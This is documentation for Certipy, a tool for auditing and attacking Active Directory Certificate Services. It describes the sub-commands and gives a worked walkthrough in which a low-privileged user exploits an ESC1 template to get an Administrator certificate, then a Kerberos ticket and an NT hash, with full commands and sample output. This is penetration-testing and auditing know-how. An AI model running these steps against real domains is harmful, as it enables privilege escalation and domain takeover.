Certipy is a command-line tool with a modular structure. The basic invocation is:
certipy [global options] <command> [command options]
Running certipy -h will show global options and the list of sub-commands. Each sub-command has its own help (e.g. certipy find -h). Certipy's workflow typically involves enumerating AD CS setup, followed by executing attacks or other operations. You will usually provide domain credentials (or use pass-the-hash or Kerberos) for it to perform LDAP queries and RPC calls against the target environment.
Refer to the Certipy Command Reference for a complete list of commands and options. The following sections will cover the most relevant commands for AD CS abuse, including their usage and examples.
Key Certipy sub-commands include:
find- Enumerate AD CS configuration in the domain. This scans for CAs, Certificate Templates, and related objects, highlighting potential misconfigurations or vulnerable settings. This is often the first step attackers or auditors use, as it provides a detailed report of what templates exist and which ESC vulnerabilities might be present. (See below for examples offindoutput.)req(request) - Request a certificate from a CA. This command allows you to actively attempt enrollment for a given template. You can specify template name, CA name, alternate credentials to use for the request, subject name overrides, etc. It supports requesting via RPC, DCOM, or HTTP(S). Attackers usually usecertipy reqto exploit vulnerable templates by obtaining certs they shouldn't be entitled to (for impersonation).auth- Authenticate using a certificate. This is essentially a "pass-the-certificate" operation. Given a PFX (certificate + private key),certipy authwill perform a domain authentication (Kerberos PKINIT) and can retrieve a TGT and the NTLM hash using the certificate. In some cases, it may also be preferable to use Schannel authentication to LDAP instead of Kerberos. This is used after an attacker obtains a cert (viareqor other means) to translate that into actual domain access (Kerberos tickets or LDAP connections as that identity).relay- Perform an NTLM relay attack targeting AD CS HTTP(S) or RPC endpoints (ESC8/ESC11). Certipy can act as an NTLM relay tool: listening for incoming NTLM authentication (from a coerced machine or victim) and then relaying that to the AD CS enrollment interface to get a certificate issued for the victim. This automates the ESC8 attack (and ESC11 for RPC) end-to-end, granting a certificate for the victim's account if successful.shadow- Perform Shadow Credentials attack (certificate-based persistence via Key Credentials). This command can create a certificate-linked credential on a user (in the msDS-KeyCredentialLink attribute). Withcertipy shadow, an attacker with appropriate rights can install a certificate on an object such that they can authenticate as that object via certificate (even if not via typical AD CS pathways).forge- Forge certificates given a compromised CA. If you have a CA's private key (for example, stolen from an offline CA or from backup), this command allows creating arbitrary certificates (e.g., a "Golden Certificate") signed by that CA. You input the CA cert and key (PFX), and specify details for a new certificate (like a UPN, DNS, etc.), and Certipy will output a forged cert. This is extremely powerful for persistence if a root or subordinate CA is compromised.ca- Manage Certificate Authority settings. This can enable or disable templates on a CA, approve or deny pending requests, and add or remove CA certificate managers (officers). It's useful for post-exploitation or during certain attack chains (for example, if you've gained rights to modify CA settings via ESC7, you could usecertipy cato enable a vulnerable template or approve your malicious request).template- Manage Certificate Template objects in AD. You can dump a template's configuration to a file, modify it, and write it back. This is helpful for scenarios like ESC4 (where you have rights to edit a template): you could use Certipy to change template settings (e.g., allow SAN or change permissions) and later restore them.account- Manage user/computer account attributes related to certificates. This includes adding or modifying things like SPNs, DNS hostnames, UPNs, or passwords for accounts. It's an advanced command that attackers might use in complex chains (e.g., creating a machine account with a specific name to exploit a certificate mapping). For instance,certipy accountcan create a new computer account if the current user has the right (MachineAccountQuota), setting attributes that might later be used in an attack.
Most Certipy commands accept common connection options (like -dc-ip, -u/-p for credentials, -hashes for pass-the-hash, -k for Kerberos from ccache, etc.). This allows flexible authentication methods. For example, you can use -hashes with a NTLM hash or -aes with a Kerberos AES key to authenticate without knowing the cleartext password.
Usage Example
Let's walk through a typical usage scenario to illustrate how Certipy might be used by an attacker after gaining an initial foothold (as a low-privileged domain user):
- Enumerate AD CS - The attacker runs
certipy findto discover any vulnerable configurations:
certipy find \
-u '<username>' -p '<password>' \
-dc-ip '10.0.0.100' -text \
-enabled -hide-admins
This will query LDAP for Certificate Templates and CA objects. The output (either to console or to a text file) will list all templates, their settings, and flag any misconfigurations. For example, part of the output might show:
Certificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
...
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : True
Channel Binding (EPA) : False
...
Permissions
Access Rights
ManageCa : CORP.LOCAL\Authenticated Users
ManageCertificates : CORP.LOCAL\Authenticated Users
Read : CORP.LOCAL\Authenticated Users
Enroll : CORP.LOCAL\Authenticated Users
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[+] User ACL Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
ESC8 : Web Enrollment is enabled over HTTPS and Channel Binding is disabled.
Certificate Templates
0
Template Name : UserTemplate
Display Name : UserTemplate
Certificate Authorities : CORP-CA
Enabled : True
Client Authentication : True
...
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Client Authentication
...
Permissions
Enrollment Permissions
Enrollment Rights : CORP.LOCAL\Domain Users
Object Control Permissions
Write Property Enroll : CORP.LOCAL\Domain Users
[+] User Enrollable Principals : CORP.LOCAL\Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
This output shows the CA "CORP-CA" and a template "UserTemplate". The template has Enrollee Supplies Subject set to true, and Client Authentication is enabled. The permissions show that Domain Users can enroll for this template. The Template [!] Vulnerabilities section flags it as vulnerable to ESC1, while the CA [!] Vulnerabilities section shows ESC7 and ESC8. Certipy's find would also list which users/groups have enrollment rights, etc. (The -hide-admins flag in the example omits listing default admin permissions to reduce noise.)
- Request a certificate - Suppose the find output showed ESC1 on a template that Domain Users can enroll. The attacker can attempt to exploit it:
certipy req \
-u '<username>' -p '<password>' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'UserTemplate' \
-upn 'Administrator@corp.local' -sid 'S-1-5-21-...-500'
Here, -ca 'CORP-CA' specifies the CA name, and -target 'CA.CORP.LOCAL' the CA DNS name. We supply a UPN of the target (Administrator) and the SID of the target. In an ESC1 scenario, this tricks the CA into issuing a certificate for Administrator to the low-priv user. If successful, Certipy will save the certificate and private key to a .pfx file:
[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Wrote certificate and private key to 'administrator.pfx'
(This matches the ESC1 exploitation example: the attacker "user" obtains a cert for Administrator).
- Authenticate with the certificate - Now the attacker has
administrator.pfx. They usecertipy authto leverage it:
certipy auth -pfx '<pfx>' -dc-ip '<dc-ip>'
Certipy will load the PFX, perform PKINIT to get a Kerberos TGT for Administrator, and even attempt to retrieve the NTLM hash:
[*] Certificate identities:
SAN UPN: 'Administrator@corp.local'
Security Extension SID: 'S-1-5-21-...-500'
[*] Using principal: 'Administrator@corp.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Wrote credential cache to 'Administrator.ccache'
[*] Trying to retrieve NT hash for 'Administrator'
[*] Got hash for 'Administrator@corp.local':
aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
The attacker now possesses full Domain Admin credentials, including both a Kerberos ticket and the hashed password. They can leverage tools such as psexec.py or secretsdump.py (from Impacket), or use utilities like Mimikatz or Rubeus, to carry out privileged actions using either the TGT or the NTLM hash.
This example shows the typical flow: find a vuln, req a cert, auth to get elevated access. Certipy supports many variations and other commands (for different ESC scenarios or defensive tasks), which we will explore in dedicated sections. Use -h on each subcommand to see advanced options (for instance, certipy req can take -on-behalf-of for enrollment agent scenarios, and certipy find has filters like -enabled or output formats like -json, -csv).